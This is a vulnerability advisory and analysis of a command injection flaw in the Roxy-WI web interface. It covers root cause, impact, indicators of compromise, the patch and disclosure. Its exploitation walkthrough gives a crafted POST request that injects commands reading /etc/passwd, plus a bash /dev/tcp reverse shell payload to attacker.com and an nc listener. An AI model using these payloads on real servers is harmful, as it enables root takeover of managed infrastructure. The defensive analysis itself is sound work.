CVE-2026-33208: 
Roxy-WI vulnerability analysis and mitigation

CVE-2026-33208 is an OS command injection vulnerability in Roxy-WI, a web interface for managing HAProxy, Nginx, Apache, and Keepalived servers. The flaw exists in the /config/<service>/find-in-config endpoint, which fails to sanitize the user-supplied words parameter before embedding it into a shell command executed on remote managed servers via SSH. All Roxy-WI versions prior to 8.2.6.4 are affected. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 score of 7.4 (High) (GitHub Advisory).

The root cause is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In app/routes/config/routes.py (lines 63–75), the finding_words variable is taken directly from user input and interpolated into a shell command string (sudo grep "{finding_words}" {log_path}*/*.conf -C 2 -Rn) without calling the common.checkAjaxInput() sanitization function used elsewhere in the codebase. This command is then passed to subprocess_execute() in app/modules/server/server.py with shell=True, and executed on the remote managed server over SSH. The double-quote delimiters around finding_words provide no protection — an attacker can close the string literal with a " character and append arbitrary commands using ;, &&, or | metacharacters (GitHub Advisory, Patch Commit).

A successful exploit grants the attacker full OS-level control of every server in the Roxy-WI managed inventory, as injected commands execute with sudo (root) privileges. This enables complete compromise of managed HAProxy, Nginx, Apache, and Keepalived infrastructure — including data exfiltration, backdoor deployment, lateral movement into internal network segments, and disruption of all load-balancing and proxy services. The confidentiality, integrity, and availability of all managed systems are fully compromised (GitHub Advisory).

A proof-of-concept (PoC) exploit is publicly available in the GitHub Security Advisory, providing detailed HTTP request examples, payload constructions, and a reverse shell payload. Exploitation requires only a valid authenticated session (low-privilege user), with no user interaction or complex conditions needed. The EPSS score is approximately 0.32%, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing. The CVSS v4.0 exploit maturity is rated as Proof-of-Concept (GitHub Advisory).

1. Reconnaissance: Identify internet-facing or network-accessible Roxy-WI instances running versions prior to 8.2.6.4 using tools like Shodan or Censys, or by checking the application's version page.
2. Authentication: Obtain valid credentials for the Roxy-WI web interface (any authenticated user account is sufficient).
3. Craft malicious request: Send an authenticated POST request to the vulnerable endpoint with a shell-injection payload in the words parameter:

POST /config/haproxy/find-in-config HTTP/1.1
Host: <target>
Cookie: access_token_cookie=<valid_token>
Content-Type: application/x-www-form-urlencoded

serv=<managed_server_ip>&words="; id; whoami; cat /etc/passwd; echo "

4. Command execution: The server constructs and executes the following command on the managed server via SSH:

sudo grep ""; id; whoami; cat /etc/passwd; echo "" /etc/haproxy/*.conf -C 2 -Rn

5. Escalate to reverse shell: Replace the payload with a reverse shell to gain interactive root access:

words="; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'; echo "

6. Receive shell: Start a listener (nc -lvnp 4444) on the attacker machine to receive a root shell from the managed server (GitHub Advisory).

• Network: Unexpected outbound TCP connections from managed servers (HAProxy, Nginx, Apache, Keepalived hosts) to unknown external IPs, particularly on non-standard ports (e.g., 4444); SSH connections from the Roxy-WI server to managed hosts with unusual command patterns.
• Logs: Roxy-WI web server access logs showing POST requests to /config/<service>/find-in-config with words parameter values containing shell metacharacters (", ;, &&, |, bash, /dev/tcp); SSH command logs on managed servers showing sudo grep commands with injected shell syntax.
• Process: Unexpected child processes spawned from the SSH session on managed servers (e.g., bash, nc, curl, wget, python) with root or sudo privileges; new cron jobs, backdoor scripts, or unauthorized user accounts created on managed servers.
• File System: New or modified files in web-accessible directories or system directories on managed servers; presence of reverse shell scripts or unauthorized SSH authorized_keys entries (GitHub Advisory).

Upgrade Roxy-WI to version 8.2.6.4 or later, which patches the issue by applying common.checkAjaxInput() to the words parameter before it is used in shell command construction (Patch Commit). As an interim workaround, restrict network access to the Roxy-WI web interface to trusted administrative networks only, and enforce strong authentication controls to limit the pool of users who can reach the vulnerable endpoint. Monitor the /config/<service>/find-in-config endpoint for suspicious activity while patching is underway (GitHub Advisory).

The vulnerability was reported by researcher Firebasky and published as a GitHub Security Advisory by the Roxy-WI maintainer (Aidaho12) on April 23, 2026. The advisory includes a detailed PoC, indicating responsible disclosure with coordinated patch release. No significant broader media coverage or notable social media commentary has been identified beyond the advisory itself.